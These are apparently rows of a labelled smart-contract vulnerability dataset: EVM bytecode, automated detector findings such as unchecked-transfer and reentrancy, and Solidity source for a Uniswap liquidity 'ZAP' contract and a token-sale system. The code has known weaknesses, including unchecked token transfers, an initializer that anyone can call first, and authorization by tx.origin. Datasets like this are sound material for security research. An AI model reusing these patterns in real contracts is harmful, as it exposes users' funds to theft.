0505050565b828152604060208201526000610ae86040830184610a8b565b949350505050565b85815284602082015260a060408201526000610b0f60a0830186610a8b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115610b3f57610b3f610b9c565b500190565b600082610b6157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610b8057610b80610b9c565b500290565b600082821015610b9757610b97610b9c565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220c928961b31e3c13b3f39e3a0c28de47f95f32370c17375b3c047a008f8c64cb164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,185 |
0xfeb587cd1dc115b8f1c85b2a47fc6f7fd0aa491b
|
pragma solidity ^0.6.12;
//:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
//
// LiquidityZAP - BcdcZAP
// Copyright (c) 2020 deepyr.com
//
// BcdcZAP takes ETH and converts to a Uniswap liquidity tokens.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.
// If not, see <https://github.com/apguerrera/LiquidityZAP/>.
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// ---------------------------------------------------------------------
// SPDX-License-Identifier: GPL-3.0-or-later
// ---------------------------------------------------------------------
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface ITokenPool {
function depositFor(address depositFor, uint256 _pid, uint256 _amount) external;
}
contract BcdcZAP {
using SafeMath for uint256;
address public _token;
address public _tokenWETHPair;
IWETH public _WETH;
ITokenPool public _tokenPool;
bool private initialized;
function initZAP(address token, address WETH, address tokenWethPair, address tokenPool) public {
require(!initialized);
_token = token;
_WETH = IWETH(WETH);
_tokenWETHPair = tokenWethPair;
_tokenPool = ITokenPool(tokenPool);
initialized = true;
}
fallback() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender, false, 0);
}
}
function addLiquidityETHOnly(address payable to, bool autoStake, uint256 pid) public payable {
require(to != address(0), "Invalid address");
uint256 buyAmount = msg.value.div(2);
require(buyAmount > 0, "Insufficient ETH amount");
_WETH.deposit{value : msg.value}();
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens);
_WETH.transfer(_tokenWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token);
IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), "");
_addLiquidity(outTokens, buyAmount, to, autoStake, pid);
}
function _addLiquidity(uint256 tokenAmount, uint256 wethAmount, address payable to, bool autoStake, uint256 pid) internal {
(uint256 wethReserve, uint256 tokenReserve) = getPairReserves();
uint256 optimalTokenAmount = UniswapV2Library.quote(wethAmount, wethReserve, tokenReserve);
uint256 optimalWETHAmount;
if (optimalTokenAmount > tokenAmount) {
optimalWETHAmount = UniswapV2Library.quote(tokenAmount, tokenReserve, wethReserve);
optimalTokenAmount = tokenAmount;
}
else
optimalWETHAmount = wethAmount;
assert(_WETH.transfer(_tokenWETHPair, optimalWETHAmount));
assert(IERC20(_token).transfer(_tokenWETHPair, optimalTokenAmount));
if (autoStake) {
IUniswapV2Pair(_tokenWETHPair).mint(address(this));
_tokenPool.depositFor(to, pid, IUniswapV2Pair(_tokenWETHPair).balanceOf(address(this)));
}
else
IUniswapV2Pair(_tokenWETHPair).mint(to);
if (tokenAmount > optimalTokenAmount)
IERC20(_token).transfer(to, tokenAmount.sub(optimalTokenAmount));
if (wethAmount > optimalWETHAmount) {
uint256 withdrawAmount = wethAmount.sub(optimalWETHAmount);
_WETH.withdraw(withdrawAmount);
to.transfer(withdrawAmount);
}
}
function getLPTokenPerEthUnit(uint ethAmt) public view returns (uint liquidity){
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(ethAmt.div(2), reserveWeth, reserveTokens);
uint _totalSupply = IUniswapV2Pair(_tokenWETHPair).totalSupply();
(address token0, ) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 amount0, uint256 amount1) = token0 == _token ? (outTokens, ethAmt.div(2)) : (ethAmt.div(2), outTokens);
(uint256 _reserve0, uint256 _reserve1) = token0 == _token ? (reserveTokens, reserveWeth) : (reserveWeth, reserveTokens);
liquidity = SafeMath.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) {
(address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves();
(wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1);
}
}
|
0x6080604052600436106100705760003560e01c8063b0c93dd21161004e578063b0c93dd214610140578063d6b89a0314610155578063e0af361614610191578063ecd0c0c3146101a657610070565b806314b0818a1461009057806325f99547146100c15780637f35aff1146100f5575b6002546001600160a01b0316331461008e5761008e336000806101bb565b005b34801561009c57600080fd5b506100a5610470565b604080516001600160a01b039092168252519081900360200190f35b61008e600480360360608110156100d757600080fd5b506001600160a01b03813516906020810135151590604001356101bb565b34801561010157600080fd5b5061008e6004803603608081101561011857600080fd5b506001600160a01b03813581169160208101358216916040820135811691606001351661047f565b34801561014c57600080fd5b506100a56104f1565b34801561016157600080fd5b5061017f6004803603602081101561017857600080fd5b5035610500565b60408051918252519081900360200190f35b34801561019d57600080fd5b506100a561066d565b3480156101b257600080fd5b506100a561067c565b6001600160a01b038316610208576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600061021534600261068b565b90506000811161026c576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156102bc57600080fd5b505af11580156102d0573d6000803e3d6000fd5b50505050506000806102e06106d6565b9150915060006102f18484846107c3565b6002546001546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561034c57600080fd5b505af1158015610360573d6000803e3d6000fd5b505050506040513d602081101561037657600080fd5b50506002546000805490918291610399916001600160a01b03908116911661089b565b6001546000549294509092506001600160a01b039081169163022c0d9f918086169116146103c85760006103ca565b845b6000546001600160a01b038581169116146103e65760006103e8565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b5050505061046583878b8b8b610979565b505050505050505050565b6001546001600160a01b031681565b600354600160a01b900460ff161561049657600080fd5b600080546001600160a01b03199081166001600160a01b0396871617909155600280548216948616949094179093556001805484169285169290921790915560038054600160a01b9316919093161760ff60a01b1916179055565b6003546001600160a01b031681565b600080600061050d6106d6565b9092509050600061052961052286600261068b565b84846107c3565b90506000600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d60208110156105a557600080fd5b505160025460008054929350916105c8916001600160a01b03908116911661089b565b50600080549192509081906001600160a01b038085169116146105f6576105f089600261068b565b85610602565b846106028a600261068b565b600080549294509092509081906001600160a01b0386811691161461062857888861062b565b87895b909250905061065e8261063e8689610e1b565b8161064557fe5b0482610651868a610e1b565b8161065857fe5b04610e74565b9b9a5050505050505050505050565b6002546001600160a01b031681565b6000546001600160a01b031681565b60006106cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e8a565b90505b92915050565b600254600080549091829182916106f9916001600160a01b03918216911661089b565b509050600080600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561074d57600080fd5b505afa158015610761573d6000803e3d6000fd5b505050506040513d606081101561077757600080fd5b5080516020909101516000546dffffffffffffffffffffffffffff9283169450911691506001600160a01b038481169116146107b45781816107b7565b80825b90969095509350505050565b60008084116108035760405162461bcd60e51b815260040180806020018281038252602b815260200180611157602b913960400191505060405180910390fd5b6000831180156108135750600082115b61084e5760405162461bcd60e51b81526004018080602001828103825260288152602001806110e96028913960400191505060405180910390fd5b600061085c856103e5610e1b565b9050600061086a8285610e1b565b905060006108848361087e886103e8610e1b565b90610f2c565b905080828161088f57fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b031614156108ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806110c46025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b03161061090f578284610912565b83835b90925090506001600160a01b038216610972576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6000806109846106d6565b915091506000610995878484610f86565b90506000888211156109b6576109ac898486610f86565b90508891506109b9565b50865b6002546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a1257600080fd5b505af1158015610a26573d6000803e3d6000fd5b505050506040513d6020811015610a3c57600080fd5b5051610a4457fe5b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610aa057600080fd5b505af1158015610ab4573d6000803e3d6000fd5b505050506040513d6020811015610aca57600080fd5b5051610ad257fe5b8515610c4957600154604080516335313c2160e11b815230600482015290516001600160a01b0390921691636a627842916024808201926020929091908290030181600087803b158015610b2557600080fd5b505af1158015610b39573d6000803e3d6000fd5b505050506040513d6020811015610b4f57600080fd5b5050600354600154604080516370a0823160e01b815230600482015290516001600160a01b0393841693634cf5fbf5938c938b9391909216916370a08231916024808301926020929190829003018186803b158015610bad57600080fd5b505afa158015610bc1573d6000803e3d6000fd5b505050506040513d6020811015610bd757600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0390941660048501526024840192909252604483015251606480830192600092919082900301818387803b158015610c2c57600080fd5b505af1158015610c40573d6000803e3d6000fd5b50505050610cc5565b600154604080516335313c2160e11b81526001600160a01b038a8116600483015291519190921691636a6278429160248083019260209291908290030181600087803b158015610c9857600080fd5b505af1158015610cac573d6000803e3d6000fd5b505050506040513d6020811015610cc257600080fd5b50505b81891115610d5c576000546001600160a01b031663a9059cbb88610ce98c8661102c565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d2f57600080fd5b505af1158015610d43573d6000803e3d6000fd5b505050506040513d6020811015610d5957600080fd5b50505b80881115610465576000610d70898361102c565b60025460408051632e1a7d4d60e01b81526004810184905290519293506001600160a01b0390911691632e1a7d4d9160248082019260009290919082900301818387803b158015610dc057600080fd5b505af1158015610dd4573d6000803e3d6000fd5b50506040516001600160a01b038b16925083156108fc02915083906000818181858888f19350505050158015610e0e573d6000803e3d6000fd5b5050505050505050505050565b600082610e2a575060006106d0565b82820282848281610e3757fe5b04146106cd5760405162461bcd60e51b81526004018080602001828103825260218152602001806111116021913960400191505060405180910390fd5b6000818310610e8357816106cd565b5090919050565b60008183610f165760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610edb578181015183820152602001610ec3565b50505050905090810190601f168015610f085780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f2257fe5b0495945050505050565b6000828201838110156106cd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000808411610fc65760405162461bcd60e51b81526004018080602001828103825260258152602001806111326025913960400191505060405180910390fd5b600083118015610fd65750600082115b6110115760405162461bcd60e51b81526004018080602001828103825260288152602001806110e96028913960400191505060405180910390fd5b8261101c8584610e1b565b8161102357fe5b04949350505050565b60006106cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156110bb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610edb578181015183820152602001610ec3565b50505090039056fe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a264697066735822122053e4528273e3d0dd50c667ce678f470117d02486aaff7da15ded17027385c84764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,186 |
0x16b888fa2fc83043c3ad6d6c2780c8248461bb15
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract rateInterface {
function readRate(string _currency) public view returns (uint256 oneEtherValue);
}
contract RC {
using SafeMath for uint256;
TokenSale tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public oneTokenInEurWei;
function RC(address _tokenSaleContract, uint256 _oneTokenInEurWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime ) public {
require ( _tokenSaleContract != 0 );
require ( _oneTokenInEurWei != 0 );
require( _remainingTokens != 0 );
tokenSaleContract = TokenSale(_tokenSaleContract);
tokenSaleContract.addMeByRC();
soldTokens = 0;
remainingTokens = _remainingTokens;
oneTokenInEurWei = _oneTokenInEurWei;
setTimeRC( _startTime, _endTime );
}
function setTimeRC(uint256 _startTime, uint256 _endTime ) internal {
if( _startTime == 0 ) {
startTime = tokenSaleContract.startTime();
} else {
startTime = _startTime;
}
if( _endTime == 0 ) {
endTime = tokenSaleContract.endTime();
} else {
endTime = _endTime;
}
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInEurWei );
function () public payable {
require( now > startTime );
require( now < endTime );
//require( msg.value >= 1*10**18); //1 Ether
require( remainingTokens > 0 );
uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(msg.sender, oneTokenInEurWei, remainingTokens);
remainingTokens = remainingTokens.sub(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInEurWei );
}
}
contract TokenSale is Ownable {
using SafeMath for uint256;
tokenInterface public tokenContract;
rateInterface public rateContract;
address public wallet;
address public advisor;
uint256 public advisorFee; // 1 = 0,1%
uint256 public constant decimals = 18;
uint256 public endTime; // seconds from 1970-01-01T00:00:00Z
uint256 public startTime; // seconds from 1970-01-01T00:00:00Z
mapping(address => bool) public rc;
function TokenSale(address _tokenAddress, address _rateAddress, uint256 _startTime, uint256 _endTime) public {
tokenContract = tokenInterface(_tokenAddress);
rateContract = rateInterface(_rateAddress);
setTime(_startTime, _endTime);
wallet = msg.sender;
advisor = msg.sender;
advisorFee = 0 * 10**3;
}
function tokenValueInEther(uint256 _oneTokenInEurWei) public view returns(uint256 tknValue) {
uint256 oneEtherInEur = rateContract.readRate("eur");
tknValue = _oneTokenInEurWei.mul(10 ** uint256(decimals)).div(oneEtherInEur);
return tknValue;
}
modifier isBuyable() {
require( now > startTime ); // check if started
require( now < endTime ); // check if ended
require( msg.value > 0 );
uint256 remainingTokens = tokenContract.balanceOf(this);
require( remainingTokens > 0 ); // Check if there are any remaining tokens
_;
}
event Buy(address buyer, uint256 value, address indexed ambassador);
modifier onlyRC() {
require( rc[msg.sender] ); //check if is an authorized rcContract
_;
}
function buyFromRC(address _buyer, uint256 _rcTokenValue, uint256 _remainingTokens) onlyRC isBuyable public payable returns(uint256) {
uint256 oneToken = 10 ** uint256(decimals);
uint256 tokenValue = tokenValueInEther(_rcTokenValue);
uint256 tokenAmount = msg.value.mul(oneToken).div(tokenValue);
address _ambassador = msg.sender;
uint256 remainingTokens = tokenContract.balanceOf(this);
if ( _remainingTokens < remainingTokens ) {
remainingTokens = _remainingTokens;
}
if ( remainingTokens < tokenAmount ) {
uint256 refund = (tokenAmount - remainingTokens).mul(tokenValue).div(oneToken);
tokenAmount = remainingTokens;
forward(msg.value-refund);
remainingTokens = 0; // set remaining token to 0
_buyer.transfer(refund);
} else {
remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus
forward(msg.value);
}
tokenContract.transfer(_buyer, tokenAmount);
Buy(_buyer, tokenAmount, _ambassador);
return tokenAmount;
}
function forward(uint256 _amount) internal {
uint256 advisorAmount = _amount.mul(advisorFee).div(10**3);
uint256 walletAmount = _amount - advisorAmount;
advisor.transfer(advisorAmount);
wallet.transfer(walletAmount);
}
event NewRC(address contr);
function addMeByRC() public {
require(tx.origin == owner);
rc[ msg.sender ] = true;
NewRC(msg.sender);
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
modifier onlyOwnerOrRC() {
require( rc[msg.sender] || msg.sender == owner );
_;
}
function withdraw(address to, uint256 value) public onlyOwner {
to.transfer(value);
}
function withdrawTokens(address to, uint256 value) public onlyOwnerOrRC returns (bool) {
return tokenContract.transfer(to, value);
}
function setTokenContract(address _tokenContract) public onlyOwner {
tokenContract = tokenInterface(_tokenContract);
}
function setWalletAddress(address _wallet) public onlyOwner {
wallet = _wallet;
}
function setAdvisorAddress(address _advisor) public onlyOwner {
advisor = _advisor;
}
function setAdvisorFee(uint256 _advisorFee) public onlyOwner {
advisorFee = _advisorFee;
}
function setRateContract(address _rateAddress) public onlyOwner {
rateContract = rateInterface(_rateAddress);
}
function () public payable {
revert();
}
function newRC(uint256 _oneTokenInEurWei, uint256 _remainingTokens) onlyOwner public {
new RC(this, _oneTokenInEurWei, _remainingTokens, 0, 0 );
}
}
contract PrivateSale {
using SafeMath for uint256;
TokenSale tokenSaleContract;
uint256 public startTime;
uint256 internal constant weekInSeconds = 604800; // seconds in a week
uint256 public endTime;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public oneTokenInEurWei;
function PrivateSale(address _tokenSaleContract, uint256 _oneTokenInEurWei, uint256 _remainingTokens, uint256 _startTime , uint256 _endTime ) public {
require ( _tokenSaleContract != 0 );
require ( _oneTokenInEurWei != 0 );
require( _remainingTokens != 0 );
tokenSaleContract = TokenSale(_tokenSaleContract);
tokenSaleContract.addMeByRC();
soldTokens = 0;
remainingTokens = _remainingTokens;
oneTokenInEurWei = _oneTokenInEurWei;
setTimeRC( _startTime, _endTime );
}
function setTimeRC(uint256 _startTime, uint256 _endTime ) internal {
if( _startTime == 0 ) {
startTime = tokenSaleContract.startTime();
} else {
startTime = _startTime;
}
if( _endTime == 0 ) {
endTime = tokenSaleContract.endTime();
} else {
endTime = _endTime;
}
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
event BuyRC(address indexed buyer, bytes trackID, uint256 value, uint256 soldToken, uint256 valueTokenInEurWei );
function () public payable {
require( now > startTime );
require( now < endTime );
//require( msg.value >= 1*10**18); //1 Ether
require( remainingTokens > 0 );
uint256 tokenAmount = tokenSaleContract.buyFromRC.value(msg.value)(msg.sender, oneTokenInEurWei, remainingTokens);
remainingTokens = remainingTokens.sub(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
uint256 bonusRate;
if( now > startTime + weekInSeconds*0 ) { bonusRate = 1000; }
if( now > startTime + weekInSeconds*1 ) { bonusRate = 800; }
if( now > startTime + weekInSeconds*2 ) { bonusRate = 600; }
if( now > startTime + weekInSeconds*3 ) { bonusRate = 400; }
if( now > startTime + weekInSeconds*4 ) { bonusRate = 200; }
if( now > startTime + weekInSeconds*5 ) { bonusRate = 0; }
tokenSaleContract.withdrawTokens(msg.sender, tokenAmount.mul( bonusRate ).div(10**4) );
BuyRC( msg.sender, msg.data, msg.value, tokenAmount, oneTokenInEurWei );
}
}
|
